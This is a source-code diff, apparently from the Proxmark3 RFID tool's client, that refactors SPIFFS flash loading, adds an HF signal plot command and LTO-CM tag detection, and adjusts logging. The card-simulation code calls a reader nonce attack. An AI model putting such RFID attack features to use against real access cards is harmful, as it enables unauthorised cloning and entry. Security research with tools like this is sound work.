@ -68,7 +68,7 @@ void setDemodBuff(uint8_t *buff, size_t size, size_t start_idx);
bool getDemodBuff(uint8_t *buff, size_t *size); bool getDemodBuff(uint8_t *buff, size_t *size);
void save_restoreDB(uint8_t saveOpt);// option '1' to save DemodBuffer any other to restore void save_restoreDB(uint8_t saveOpt);// option '1' to save DemodBuffer any other to restore
int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveGrph, bool verbose); int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveGrph, bool verbose);
int getSamples(uint32_t n, bool silent); int getSamples(uint32_t n, bool verbose);
void setClockGrid(uint32_t clk, int offset); void setClockGrid(uint32_t clk, int offset);
int directionalThreshold(const int *in, int *out, size_t len, int8_t up, int8_t down); int directionalThreshold(const int *in, int *out, size_t len, int8_t up, int8_t down);
int AskEdgeDetect(const int *in, int *out, int len, int threshold); int AskEdgeDetect(const int *in, int *out, int len, int threshold);

View file

@ -314,11 +314,77 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen) {
int ret_val = PM3_SUCCESS;
// We want to mount before multiple operation so the lazy writes/append will not
// trigger a mount + umount each loop iteration (lazy ops device side)
SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0);
// Send to device
uint32_t bytes_sent = 0;
uint32_t bytes_remaining = datalen;
uint32_t append = 0;
// fast push mode
conn.block_after_ACK = true;
while (bytes_remaining > 0) {
uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining);
clearCommandBuffer();
char fdata[32 + bytes_in_packet];
memset(fdata, 0, sizeof(fdata));
memcpy(fdata, destfn, 32);
memcpy(fdata + 32, data + bytes_sent, bytes_in_packet);
if (bytes_sent > 0)
append = 1;
SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet);
bytes_remaining -= bytes_in_packet;
bytes_sent += bytes_in_packet;
PacketResponseNG resp;
uint8_t retry = 3;
while (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply.");
retry--;
if (retry == 0) {
ret_val = PM3_ETIMEOUT;
goto out;
}
}
uint8_t isok = resp.oldarg[0] & 0xFF;
if (!isok) {
PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent);
ret_val = PM3_EFLASH;
break;
}
}
out:
clearCommandBuffer();
// turn off fast push mode
conn.block_after_ACK = false;
// We want to unmount after these to set things back to normal but more than this
// unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory
SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0);
return ret_val;
}
static int CmdFlashMemSpiFFSLoad(const char *Cmd) { static int CmdFlashMemSpiFFSLoad(const char *Cmd) {
uint32_t append = 0;
char filename[FILE_PATH_SIZE] = {0}; char filename[FILE_PATH_SIZE] = {0};
char destfilename[32] = {0}; uint8_t destfilename[32] = {0};
bool errors = false; bool errors = false;
uint8_t cmdp = 0; uint8_t cmdp = 0;
@ -334,8 +400,8 @@ static int CmdFlashMemSpiFFSLoad(const char *Cmd) {
cmdp += 2; cmdp += 2;
break; break;
case 'o': case 'o':
param_getstr(Cmd, cmdp + 1, destfilename, 32); param_getstr(Cmd, cmdp + 1, (char*)destfilename, 32);
if (strlen(destfilename) == 0) { if (strlen((char*)destfilename) == 0) {
PrintAndLogEx(FAILED, "Destination Filename missing or invalid"); PrintAndLogEx(FAILED, "Destination Filename missing or invalid");
errors = true; errors = true;
} }
@ -362,63 +428,14 @@ static int CmdFlashMemSpiFFSLoad(const char *Cmd) {
return PM3_EFILE; return PM3_EFILE;
} }
// We want to mount before multiple operation so the lazy writes/append will not res = flashmem_spiffs_load(destfilename, data, datalen);
// trigger a mount + umount each loop iteration (lazy ops device side)
SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0);
// Send to device
uint32_t bytes_sent = 0;
uint32_t bytes_remaining = datalen;
// fast push mode
conn.block_after_ACK = true;
// SendCommandMIX(CMD_SPIFFS_COPY, 0, 0, 0, (uint8_t *)data, 65);
while (bytes_remaining > 0) {
uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining);
clearCommandBuffer();
char fdata[32 + bytes_in_packet];
memset(fdata, 0, sizeof(fdata));
memcpy(fdata, destfilename, 32);
memcpy(fdata + 32, data + bytes_sent, bytes_in_packet);
// sprintf(fdata, "%s%s", destfilename, data + bytes_sent);
if (bytes_sent > 0)
append = 1;
SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet);
bytes_remaining -= bytes_in_packet;
bytes_sent += bytes_in_packet;
PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply.");
conn.block_after_ACK = false;
free(data);
return PM3_ETIMEOUT;
}
uint8_t isok = resp.oldarg[0] & 0xFF;
if (!isok) {
conn.block_after_ACK = false;
PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent);
free(data);
return PM3_EFLASH;
}
}
conn.block_after_ACK = false;
free(data); free(data);
PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename);
// We want to unmount after these to set things back to normal but more than this if ( res == PM3_SUCCESS )
// unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename);
SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0);
return PM3_SUCCESS; return res;
} }
static command_t CommandTable[] = { static command_t CommandTable[] = {

View file

@ -14,5 +14,6 @@
#include "common.h" #include "common.h"
int CmdFlashMemSpiFFS(const char *Cmd); int CmdFlashMemSpiFFS(const char *Cmd);
int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen);
#endif #endif

View file

@ -1,6 +1,9 @@
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com> // Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
// Merlok - 2017 // Merlok - 2017
// Doegox - 2019
// Iceman - 2019
// Piwi - 2019
// //
// This code is licensed to you under the terms of the GNU GPL, version 2 or, // This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of // at your option, any later version. See the LICENSE.txt file for the text of
@ -10,11 +13,12 @@
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
#include "cmdhf.h" #include "cmdhf.h"
#include <ctype.h> // tolower #include <ctype.h> // tolower
#include "cmdparser.h" // command_t
#include "comms.h" // clearCommandBuffer
#include "cmdparser.h" // command_t
#include "cliparser/cliparser.h" // parse
#include "comms.h" // clearCommandBuffer
#include "lfdemod.h" // computeSignalProperties
#include "cmdhf14a.h" // ISO14443-A #include "cmdhf14a.h" // ISO14443-A
#include "cmdhf14b.h" // ISO14443-B #include "cmdhf14b.h" // ISO14443-B
#include "cmdhf15.h" // ISO15693 #include "cmdhf15.h" // ISO15693
@ -29,8 +33,12 @@
#include "cmdhffelica.h" // ISO18092 / FeliCa #include "cmdhffelica.h" // ISO18092 / FeliCa
#include "cmdhffido.h" // FIDO authenticators #include "cmdhffido.h" // FIDO authenticators
#include "cmdhfthinfilm.h" // Thinfilm #include "cmdhfthinfilm.h" // Thinfilm
#include "cmdhflto.h" // LTO-CM
#include "cmdtrace.h" // trace list #include "cmdtrace.h" // trace list
#include "ui.h" #include "ui.h"
#include "cmddata.h"
#include "graph.h"
#include "../common_fpga/fpga.h"
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
@ -77,13 +85,20 @@ int CmdHFSearch(const char *Cmd) {
char cmdp = tolower(param_getchar(Cmd, 0)); char cmdp = tolower(param_getchar(Cmd, 0));
if (cmdp == 'h') return usage_hf_search(); if (cmdp == 'h') return usage_hf_search();
PrintAndLogEx(INFO, "Checking for known tags...\n");
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, "Searching for ThinFilm tag..."); PrintAndLogEx(INPLACE, "Searching for ThinFilm tag...");
if (IfPm3NfcBarcode()) { if (IfPm3NfcBarcode()) {
if (infoThinFilm(false) == PM3_SUCCESS) { if (infoThinFilm(false) == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Thinfilm tag") " found\n"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Thinfilm tag") "found\n");
return PM3_SUCCESS;
}
}
PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, "Searching for LTO-CM tag...");
if (IfPm3Iso14443a()) {
if (infoLTO(false) == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LTO-CM tag") "found\n");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
} }
@ -92,7 +107,7 @@ int CmdHFSearch(const char *Cmd) {
PrintAndLogEx(INPLACE, "Searching for ISO14443-A tag..."); PrintAndLogEx(INPLACE, "Searching for ISO14443-A tag...");
if (IfPm3Iso14443a()) { if (IfPm3Iso14443a()) {
if (infoHF14A(false, false, false) > 0) { if (infoHF14A(false, false, false) > 0) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-A tag") " found\n"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-A tag") "found\n");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
} }
@ -100,20 +115,17 @@ int CmdHFSearch(const char *Cmd) {
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, "Searching for ISO15693 tag..."); PrintAndLogEx(INPLACE, "Searching for ISO15693 tag...");
if (IfPm3Iso15693()) { if (IfPm3Iso15693()) {
if (readHF15Uid(false) == 1) { if (readHF15Uid(false)) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") " found\n"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") "found\n");
DropField();
return PM3_SUCCESS; return PM3_SUCCESS;
} }
// until refactoring of ISO15693 cmds, this is needed.
DropField();
} }
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, "Searching for LEGIC tag..."); PrintAndLogEx(INPLACE, "Searching for LEGIC tag...");
if (IfPm3Legicrf()) { if (IfPm3Legicrf()) {
if (readLegicUid(false) == PM3_SUCCESS) { if (readLegicUid(false) == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LEGIC tag") " found\n"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LEGIC tag") "found\n");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
} }
@ -122,7 +134,7 @@ int CmdHFSearch(const char *Cmd) {
PrintAndLogEx(INPLACE, "Searching for Topaz tag..."); PrintAndLogEx(INPLACE, "Searching for Topaz tag...");
if (IfPm3Iso14443a()) { if (IfPm3Iso14443a()) {
if (readTopazUid() == PM3_SUCCESS) { if (readTopazUid() == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") " found\n"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") "found\n");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
} }
@ -131,7 +143,7 @@ int CmdHFSearch(const char *Cmd) {
PrintAndLogEx(INPLACE, "Searching for FeliCa tag..."); PrintAndLogEx(INPLACE, "Searching for FeliCa tag...");
if (IfPm3Felica()) { if (IfPm3Felica()) {
if (readFelicaUid(false) == PM3_SUCCESS) { if (readFelicaUid(false) == PM3_SUCCESS) {
PrintAndLogEx(NORMAL, "\nValid " _GREEN_("ISO18092 / FeliCa tag") " found\n"); PrintAndLogEx(NORMAL, "\nValid " _GREEN_("ISO18092 / FeliCa tag") "found\n");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
} }
@ -141,7 +153,7 @@ int CmdHFSearch(const char *Cmd) {
PrintAndLogEx(INPLACE, "Searching for ISO14443-B tag..."); PrintAndLogEx(INPLACE, "Searching for ISO14443-B tag...");
if (IfPm3Iso14443a()) { if (IfPm3Iso14443a()) {
if (readHF14B(false) == 1) { if (readHF14B(false) == 1) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-B tag") " found\n"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-B tag") "found\n");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
} }
@ -149,13 +161,14 @@ int CmdHFSearch(const char *Cmd) {
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, "Searching for iClass / PicoPass tag..."); PrintAndLogEx(INPLACE, "Searching for iClass / PicoPass tag...");
if (IfPm3Iclass()) { if (IfPm3Iclass()) {
if (readIclass(false, false) == 1) { if (readIclass(false, false) == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") " found\n"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") "found\n");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
} }
PrintAndLogEx(INPLACE, "No known/supported 13.56 MHz tags found"); PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, _RED_("No known/supported 13.56 MHz tags found"));
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
return PM3_ESOFT; return PM3_ESOFT;
} }
@ -166,7 +179,7 @@ int CmdHFTune(const char *Cmd) {
int iter = param_get32ex(Cmd, 0, 0, 10); int iter = param_get32ex(Cmd, 0, 0, 10);
PacketResponseNG resp; PacketResponseNG resp;
PrintAndLogEx(SUCCESS, "Measuring HF antenna, click button or press Enter to exit"); PrintAndLogEx(SUCCESS, "Measuring HF antenna," _YELLOW_("click button") " or press" _YELLOW_("Enter") "to exit");
clearCommandBuffer(); clearCommandBuffer();
uint8_t mode[] = {1}; uint8_t mode[] = {1};
SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode));
@ -213,6 +226,42 @@ int CmdHFSniff(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
int CmdHFPlot(const char *Cmd) {
CLIParserInit("hf plot",
"Plots HF signal after RF signal path and A/D conversion.",
"This can be used after any hf command and will show the last few milliseconds of the HF signal.\n"
"Note: If the last hf command terminated because of a timeout you will most probably see nothing.\n");
void *argtable[] = {
arg_param_begin,
arg_param_end
};
CLIExecWithReturn(Cmd, argtable, true);
uint8_t buf[FPGA_TRACE_SIZE];
PacketResponseNG response;
if (!GetFromDevice(FPGA_MEM, buf, FPGA_TRACE_SIZE, 0, NULL, 0, &response, 4000, true)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply.");
return PM3_ETIMEOUT;
}
for (size_t i = 0; i < FPGA_TRACE_SIZE; i++) {
GraphBuffer[i] = ((int)buf[i]) - 127;
}
GraphTraceLen = FPGA_TRACE_SIZE;
ShowGraphWindow();
// remove signal offset
CmdHpf("");
setClockGrid(0, 0);
DemodBufferLen = 0;
RepaintGraphWindow();
return PM3_SUCCESS;
}
static command_t CommandTable[] = { static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help"}, {"help", CmdHelp, AlwaysAvailable, "This help"},
{"14a", CmdHF14A, AlwaysAvailable, "{ ISO14443A RFIDs... }"}, {"14a", CmdHF14A, AlwaysAvailable, "{ ISO14443A RFIDs... }"},
@ -220,16 +269,18 @@ static command_t CommandTable[] = {
{"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"},
{"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"},
{"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / Felica RFIDs... }"}, {"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / Felica RFIDs... }"},
{"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"}, {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"},
{"iclass", CmdHFiClass, AlwaysAvailable, "{ ICLASS RFIDs... }"}, {"iclass", CmdHFiClass, AlwaysAvailable, "{ ICLASS RFIDs... }"},
{"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"},
{"lto", CmdHFLTO, AlwaysAvailable, "{ LTO Cartridge Memory RFIDs... }"},
{"mf", CmdHFMF, AlwaysAvailable, "{ MIFARE RFIDs... }"}, {"mf", CmdHFMF, AlwaysAvailable, "{ MIFARE RFIDs... }"},
{"mfp", CmdHFMFP, AlwaysAvailable, "{ MIFARE Plus RFIDs... }"}, {"mfp", CmdHFMFP, AlwaysAvailable, "{ MIFARE Plus RFIDs... }"},
{"mfu", CmdHFMFUltra, AlwaysAvailable, "{ MIFARE Ultralight RFIDs... }"}, {"mfu", CmdHFMFUltra, AlwaysAvailable, "{ MIFARE Ultralight RFIDs... }"},
{"mfdes", CmdHFMFDes, AlwaysAvailable, "{ MIFARE Desfire RFIDs... }"}, {"mfdes", CmdHFMFDes, AlwaysAvailable, "{ MIFARE Desfire RFIDs... }"},
{"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"},
{"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"},
{"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"}, {"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"},
{"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"},
{"list", CmdTraceList, AlwaysAvailable, "List protocol data in trace buffer"}, {"list", CmdTraceList, AlwaysAvailable, "List protocol data in trace buffer"},
{"plot", CmdHFPlot, IfPm3Hfplot, "Plot signal"},
{"tune", CmdHFTune, IfPm3Present, "Continuously measure HF antenna tuning"}, {"tune", CmdHFTune, IfPm3Present, "Continuously measure HF antenna tuning"},
{"search", CmdHFSearch, AlwaysAvailable, "Search for known HF tags"}, {"search", CmdHFSearch, AlwaysAvailable, "Search for known HF tags"},
{"sniff", CmdHFSniff, IfPm3Hfsniff, "<samples to skip (10000)> <triggers to skip (1)> Generic HF Sniff"}, {"sniff", CmdHFSniff, IfPm3Hfsniff, "<samples to skip (10000)> <triggers to skip (1)> Generic HF Sniff"},

View file

@ -1,6 +1,6 @@
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com> // Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
// // Piwi, Feb 2019
// This code is licensed to you under the terms of the GNU GPL, version 2 or, // This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of // at your option, any later version. See the LICENSE.txt file for the text of
// the license. // the license.
@ -17,5 +17,6 @@ int CmdHF(const char *Cmd);
int CmdHFTune(const char *Cmd); int CmdHFTune(const char *Cmd);
int CmdHFSearch(const char *Cmd); int CmdHFSearch(const char *Cmd);
int CmdHFSniff(const char *Cmd); int CmdHFSniff(const char *Cmd);
int CmdHFPlot(const char *Cmd);
#endif #endif

View file

@ -256,20 +256,20 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card) {
} }
if (select_status == 3) { if (select_status == 3) {
PrintAndLogEx(NORMAL, "E->Card doesn't support standard iso14443-3 anticollision"); PrintAndLogEx(INFO, "E->Card doesn't support standard iso14443-3 anticollision");
PrintAndLogEx(NORMAL, "\tATQA : %02x %02x", card->atqa[1], card->atqa[0]); PrintAndLogEx(SUCCESS, "\tATQA : %02x %02x", card->atqa[1], card->atqa[0]);
return 1; return 1;
} }
PrintAndLogEx(NORMAL, " UID: %s", sprint_hex(card->uid, card->uidlen)); PrintAndLogEx(SUCCESS, " UID: %s", sprint_hex(card->uid, card->uidlen));
PrintAndLogEx(NORMAL, "ATQA: %02x %02x", card->atqa[1], card->atqa[0]); PrintAndLogEx(SUCCESS, "ATQA: %02x %02x", card->atqa[1], card->atqa[0]);
PrintAndLogEx(NORMAL, " SAK: %02x [%" PRIu64 "]", card->sak, resp.oldarg[0]); PrintAndLogEx(SUCCESS, " SAK: %02x [%" PRIu64 "]", card->sak, resp.oldarg[0]);
if (card->ats_len < 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes if (card->ats_len < 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes
PrintAndLogEx(NORMAL, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); PrintAndLogEx(INFO, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len));
return 1; return 1;
} }
PrintAndLogEx(NORMAL, " ATS: %s", sprint_hex(card->ats, card->ats_len)); PrintAndLogEx(SUCCESS, " ATS: %s", sprint_hex(card->ats, card->ats_len));
return 0; return 0;
} }
@ -334,18 +334,18 @@ static int CmdHF14AReader(const char *Cmd) {
} }
if (select_status == 3) { if (select_status == 3) {
PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision");
PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]);
DropField(); DropField();
return 1; return 1;
} }
PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen));
PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]);
PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); PrintAndLogEx(SUCCESS, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]);
if (card.ats_len >= 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes if (card.ats_len >= 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes
PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); PrintAndLogEx(SUCCESS, " ATS : %s", sprint_hex(card.ats, card.ats_len));
} }
if (!disconnectAfter) { if (!disconnectAfter) {
@ -422,7 +422,7 @@ static int CmdHF14ACUIDs(const char *Cmd) {
for (uint16_t m = 0; m < card->uidlen; m++) { for (uint16_t m = 0; m < card->uidlen; m++) {
sprintf(&uid_string[2 * m], "%02X", card->uid[m]); sprintf(&uid_string[2 * m], "%02X", card->uid[m]);
} }
PrintAndLogEx(NORMAL, "%s", uid_string); PrintAndLogEx(SUCCESS, "%s", uid_string);
} }
} }
PrintAndLogEx(SUCCESS, "end: %" PRIu64 " seconds", (msclock() - t1) / 1000); PrintAndLogEx(SUCCESS, "end: %" PRIu64 " seconds", (msclock() - t1) / 1000);
@ -512,8 +512,9 @@ int CmdHF14ASim(const char *Cmd) {
PacketResponseNG resp; PacketResponseNG resp;
PrintAndLogEx(SUCCESS, "press pm3-button to abort simulation"); PrintAndLogEx(SUCCESS, "press pm3-button to abort simulation");
bool keypress = kbd_enter_pressed();
while (!keypress) {
while (!kbd_enter_pressed()) {
if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == 0) continue; if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == 0) continue;
if (resp.status != PM3_SUCCESS) break; if (resp.status != PM3_SUCCESS) break;
@ -521,7 +522,15 @@ int CmdHF14ASim(const char *Cmd) {
nonces_t *data = (nonces_t *)resp.data.asBytes; nonces_t *data = (nonces_t *)resp.data.asBytes;
readerAttack(data[0], setEmulatorMem, verbose); readerAttack(data[0], setEmulatorMem, verbose);
keypress = kbd_enter_pressed();
} }
if (keypress && (flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) {
// inform device to break the sim loop since client has exited
SendCommandNG(CMD_BREAK_LOOP, NULL, 0);
}
if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK))
showSectorTable(); showSectorTable();
@ -542,30 +551,29 @@ int CmdHF14ASniff(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode) {
static uint8_t responseNum = 0; static uint8_t responseNum = 0;
uint16_t cmdc = 0; uint16_t cmdc = 0;
*dataoutlen = 0; *dataoutlen = 0;
if (activateField) { if (activateField) {
responseNum = 1;
PacketResponseNG resp; PacketResponseNG resp;
// Anticollision + SELECT card // Anticollision + SELECT card
SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0);
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
PrintAndLogEx(ERR, "Proxmark3 connection timeout."); if (!silentMode) PrintAndLogEx(ERR, "Proxmark3 connection timeout.");
return 1; return 1;
} }
// check result // check result
if (resp.oldarg[0] == 0) { if (resp.oldarg[0] == 0) {
PrintAndLogEx(ERR, "No card in field."); if (!silentMode) PrintAndLogEx(ERR, "No card in field.");
return 1; return 1;
} }
if (resp.oldarg[0] != 1 && resp.oldarg[0] != 2) { if (resp.oldarg[0] != 1 && resp.oldarg[0] != 2) {
PrintAndLogEx(ERR, "Card not in iso14443-4. res=%" PRId64 ".", resp.oldarg[0]); if (!silentMode) PrintAndLogEx(ERR, "Card not in iso14443-4. res=%" PRId64 ".", resp.oldarg[0]);
return 1; return 1;
} }
@ -574,12 +582,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav
uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0
SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, 2); SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, 2);
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
PrintAndLogEx(ERR, "Proxmark3 connection timeout."); if (!silentMode) PrintAndLogEx(ERR, "Proxmark3 connection timeout.");
return 1; return 1;
} }
if (resp.oldarg[0] == 0) { // ats_len if (resp.oldarg[0] == 0) { // ats_len
PrintAndLogEx(ERR, "Can't get ATS."); if (!silentMode) PrintAndLogEx(ERR, "Can't get ATS.");
return 1; return 1;
} }
} }
@ -601,7 +609,7 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav
int iLen = resp.oldarg[0]; int iLen = resp.oldarg[0];
if (!iLen) { if (!iLen) {
PrintAndLogEx(ERR, "No card response."); if (!silentMode) PrintAndLogEx(ERR, "No card response.");
return 1; return 1;
} }
@ -610,12 +618,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav
*dataoutlen = 0; *dataoutlen = 0;
if (maxdataoutlen && *dataoutlen > maxdataoutlen) { if (maxdataoutlen && *dataoutlen > maxdataoutlen) {
PrintAndLogEx(ERR, "Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen); if (!silentMode) PrintAndLogEx(ERR, "Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen);
return 2; return 2;
} }
if (recv[0] != data[0]) { if (recv[0] != data[0]) {
PrintAndLogEx(ERR, "iso14443-4 framing error. Card send %2x must be %2x", dataout[0], data[0]); if (!silentMode) PrintAndLogEx(ERR, "iso14443-4 framing error. Card send %2x must be %2x", dataout[0], data[0]);
return 2; return 2;
} }
@ -623,12 +631,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav
// CRC Check // CRC Check
if (iLen == -1) { if (iLen == -1) {
PrintAndLogEx(ERR, "ISO 14443A CRC error."); if (!silentMode) PrintAndLogEx(ERR, "ISO 14443A CRC error.");
return 3; return 3;
} }
} else { } else {
PrintAndLogEx(ERR, "Reply timeout."); if (!silentMode) PrintAndLogEx(ERR, "Reply timeout.");
return 4; return 4;
} }
@ -1264,16 +1272,18 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
return select_status; return select_status;
} }
PrintAndLogEx(NORMAL, "");
if (select_status == 3) { if (select_status == 3) {
PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision");
